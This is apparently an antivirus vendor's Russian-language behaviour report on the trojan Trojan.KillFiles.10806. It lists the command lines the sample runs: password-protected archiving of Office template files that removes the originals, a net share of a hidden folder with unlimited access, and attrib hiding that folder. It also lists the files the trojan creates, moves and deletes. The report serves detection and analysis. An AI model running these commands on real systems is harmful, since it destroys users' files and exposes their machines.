Trojan.KillFiles.10806

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

'<Текущая директория>\coinme.exe' a -dw -hp"%HOMEPATH%\Templates\winword2.doc" -inul -m5 "%HOMEPATH%\Templates\winword2.doc.exe" "%HOMEPATH%\Templates\winword2.doc"
'<Текущая директория>\coinme.exe' a -dw -hp"<SYSTEM32>\config\systemprofile\Templates\winword.doc" -inul -m5 "<SYSTEM32>\config\systemprofile\Templates\winword.doc.exe" "<SYSTEM32>\config\systemprofile\Templates\winword.doc"
'<Текущая директория>\coinme.exe' a -dw -hp"C:\Documents and Settings\Default User\Templates\winword2.doc" -inul -m5 "C:\Documents and Settings\Default User\Templates\winword2.doc.exe" "C:\Documents and Settings\Default User\Templates\winword2.doc"
'<Текущая директория>\coinme.exe' a -dw -hp"%HOMEPATH%\Templates\winword.doc" -inul -m5 "%HOMEPATH%\Templates\winword.doc.exe" "%HOMEPATH%\Templates\winword.doc"
'<Текущая директория>\coinme.exe' a -dw -hp"%HOMEPATH%\Templates\powerpnt.ppt" -inul -m5 "%HOMEPATH%\Templates\powerpnt.ppt.exe" "%HOMEPATH%\Templates\powerpnt.ppt"
'<Текущая директория>\coinme.exe' a -dw -hp"<SYSTEM32>\config\systemprofile\Templates\powerpnt.ppt" -inul -m5 "<SYSTEM32>\config\systemprofile\Templates\powerpnt.ppt.exe" "<SYSTEM32>\config\systemprofile\Templates\powerpnt.ppt"
'<Текущая директория>\coinme.exe' a -dw -hp"<SYSTEM32>\config\systemprofile\Templates\winword2.doc" -inul -m5 "<SYSTEM32>\config\systemprofile\Templates\winword2.doc.exe" "<SYSTEM32>\config\systemprofile\Templates\winword2.doc"
'<Текущая директория>\coinme.exe' a -dw -hp"C:\Documents and Settings\Default User\Templates\powerpnt.ppt" -inul -m5 "C:\Documents and Settings\Default User\Templates\powerpnt.ppt.exe" "C:\Documents and Settings\Default User\Templates\powerpnt.ppt"
'<Текущая директория>\coinme.exe' a -dw -hp"C:\Documents and Settings\Default User\Templates\excel4.xls" -inul -m5 "C:\Documents and Settings\Default User\Templates\excel4.xls.exe" "C:\Documents and Settings\Default User\Templates\excel4.xls"
'<Текущая директория>\coinme.exe' a -dw -hp"%HOMEPATH%\Templates\excel.xls" -inul -m5 "%HOMEPATH%\Templates\excel.xls.exe" "%HOMEPATH%\Templates\excel.xls"
'<Текущая директория>\coinme.exe' a -dw -hp".~$milw0rm " -inul -m5 %WINDIR%\$NtUninstallKB970992$\~$milw0rm.~$milw0rm %WINDIR%\$NtUninstallKB970992$\spuninst
'<Текущая директория>\coinme.exe' a -dw -hp"C:\Documents and Settings\Default User\Templates\excel.xls" -inul -m5 "C:\Documents and Settings\Default User\Templates\excel.xls.exe" "C:\Documents and Settings\Default User\Templates\excel.xls"
'<Текущая директория>\coinme.exe' a -dw -hp"<SYSTEM32>\config\systemprofile\Templates\excel4.xls" -inul -m5 "<SYSTEM32>\config\systemprofile\Templates\excel4.xls.exe" "<SYSTEM32>\config\systemprofile\Templates\excel4.xls"
'<Текущая директория>\coinme.exe' a -dw -hp"C:\Documents and Settings\Default User\Templates\winword.doc" -inul -m5 "C:\Documents and Settings\Default User\Templates\winword.doc.exe" "C:\Documents and Settings\Default User\Templates\winword.doc"
'<Текущая директория>\coinme.exe' a -dw -hp"%HOMEPATH%\Templates\excel4.xls" -inul -m5 "%HOMEPATH%\Templates\excel4.xls.exe" "%HOMEPATH%\Templates\excel4.xls"
'<Текущая директория>\coinme.exe' a -dw -hp"<SYSTEM32>\config\systemprofile\Templates\excel.xls" -inul -m5 "<SYSTEM32>\config\systemprofile\Templates\excel.xls.exe" "<SYSTEM32>\config\systemprofile\Templates\excel.xls"

Запускает на исполнение:

'<SYSTEM32>\net1.exe' share "$"=%WINDIR%\$NtUninstallKB970992$ /unlimited
'<SYSTEM32>\attrib.exe' +h %WINDIR%\$NtUninstallKB970992$
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\svchost.cmd" "

Изменения в файловой системе:

Создает следующие файлы:

%WINDIR%\$NtUninstallKB970992$\spuninst\winword.doc
%WINDIR%\$NtUninstallKB970992$\spuninst\excel4.xls
%WINDIR%\$NtUninstallKB970992$\spuninst\winword2.doc
%WINDIR%\$NtUninstallKB970992$\~$milw0rm.~$milw0rm
%WINDIR%\$NtUninstallKB970992$\spuninst\powerpnt.ppt
<Текущая директория>\.~$milw0rm.key
%TEMP%\1.tmp\svchost.cmd
<Текущая директория>\.~$callw0rm.exe
%WINDIR%\$NtUninstallKB970992$\spuninst\excel.xls
<Текущая директория>\coinme.exe

Удаляет следующие файлы:

<SYSTEM32>\config\systemprofile\Templates\__rar_tmp
%WINDIR%\$NtUninstallKB970992$\spuninst\__rar_tmp

Перемещает следующие системные файлы:

<SYSTEM32>\config\systemprofile\Templates\powerpnt.ppt в <SYSTEM32>\config\systemprofile\Templates\__rar_tmp
<SYSTEM32>\config\systemprofile\Templates\winword.doc в <SYSTEM32>\config\systemprofile\Templates\__rar_tmp
<SYSTEM32>\config\systemprofile\Templates\excel.xls в <SYSTEM32>\config\systemprofile\Templates\__rar_tmp

Перемещает следующие файлы:

%WINDIR%\$NtUninstallKB970992$\spuninst\excel4.xls в %WINDIR%\$NtUninstallKB970992$\spuninst\__rar_tmp
%WINDIR%\$NtUninstallKB970992$\spuninst\excel.xls в %WINDIR%\$NtUninstallKB970992$\spuninst\__rar_tmp
%WINDIR%\$NtUninstallKB970992$\spuninst\powerpnt.ppt в %WINDIR%\$NtUninstallKB970992$\spuninst\__rar_tmp
%WINDIR%\$NtUninstallKB970992$\spuninst\winword2.doc в %WINDIR%\$NtUninstallKB970992$\spuninst\__rar_tmp
%WINDIR%\$NtUninstallKB970992$\spuninst\winword.doc в %WINDIR%\$NtUninstallKB970992$\spuninst\__rar_tmp